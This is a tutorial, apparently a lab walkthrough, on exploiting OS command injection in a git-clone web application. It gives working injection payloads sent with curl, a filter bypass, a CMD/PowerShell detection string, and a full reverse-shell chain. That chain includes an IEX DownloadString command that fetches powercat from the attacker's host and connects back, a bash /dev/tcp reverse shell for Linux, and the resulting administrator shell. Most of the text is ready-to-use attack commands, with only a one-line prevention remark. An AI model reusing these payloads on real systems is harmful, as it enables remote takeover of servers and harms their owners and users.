OS Command Injection

Published on March 20, 2025

Web applications often interact with the operating system, such as during file uploads or executing system commands. However, if a web application accepts user input directly without proper sanitization, it may be vulnerable to **OS Command Injection**. This can allow an attacker to execute arbitrary system commands.

Exploring the "Mountain Vaults" Web Application

In this example, we will examine a vulnerable web application, **Mountain Vaults**, running on http://192.168.50.189:8000. The application allows users to **clone git repositories**, but we suspect that we may be able to inject system commands.

1. Identifying the Vulnerable Parameter

The application allows users to enter a git clone command:

git clone https://github.com/offensive-security/exploitdb.git

After submitting the form, the repository is cloned successfully. However, the fact that the **exact command is displayed** in the output suggests that user input is being passed directly to the operating system.

2. Testing for Command Injection

We use **Burp Suite** to intercept the request and find that the vulnerable parameter is **Archive**. We attempt to inject commands using **curl**:

kali@kali:~$ curl -X POST --data 'Archive=ipconfig' http://192.168.50.189:8000/archive

However, the application detects the injection and blocks it.

3. Bypassing the Injection Filter

Since "git" is a valid command, we test whether adding **additional commands** is possible:

kali@kali:~$ curl -X POST --data 'Archive=git%3Bipconfig' http://192.168.50.189:8000/archive

The response includes **both git help output and the Windows IP configuration**, confirming that command injection is possible.

4. Determining Execution Environment

To check whether commands are executed via **CMD** or **PowerShell**, we use this detection snippet:

(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
kali@kali:~$ curl -X POST --data 'Archive=git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20PowerShell' http://192.168.50.189:8000/archive

The output contains "PowerShell", confirming that injected commands run in a PowerShell environment.

Exploiting Command Injection for System Access

1. Setting Up a Reverse Shell

We will use **Powercat**, a PowerShell alternative to Netcat, to establish a reverse shell.

Step 1: Hosting Powercat on a Web Server

kali@kali:~$ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
kali@kali:~$ python3 -m http.server 80

Step 2: Starting a Netcat Listener

kali@kali:~$ nc -nvlp 4444

Step 3: Injecting the Reverse Shell Command

We now use **curl** to inject a command that downloads and executes Powercat.

kali@kali:~$ curl -X POST --data 'Archive=git%3BIEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.119.3%2Fpowercat.ps1%22)%3Bpowercat%20-c%20192.168.119.3%20-p%204444%20-e%20powershell' http://192.168.50.189:8000/archive

Linux payload equivalent (python server is not required, only netcat listener):

git%20|%20bash+-c+'bash+-i+>%26+/dev/tcp/192.168.45.183/4444+0>%261'c

Step 4: Receiving the Reverse Shell

kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.3] from (UNKNOWN) [192.168.50.189] 50325
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator\Documents\meteor>

We now have **full system access** as the **Administrator**!

Conclusion

This tutorial demonstrated how to exploit an **OS Command Injection vulnerability** in a web application. By identifying the vulnerable parameter, bypassing filters, and using a reverse shell, we gained full system access. Always validate and sanitize user input to prevent such attacks.

Related Articles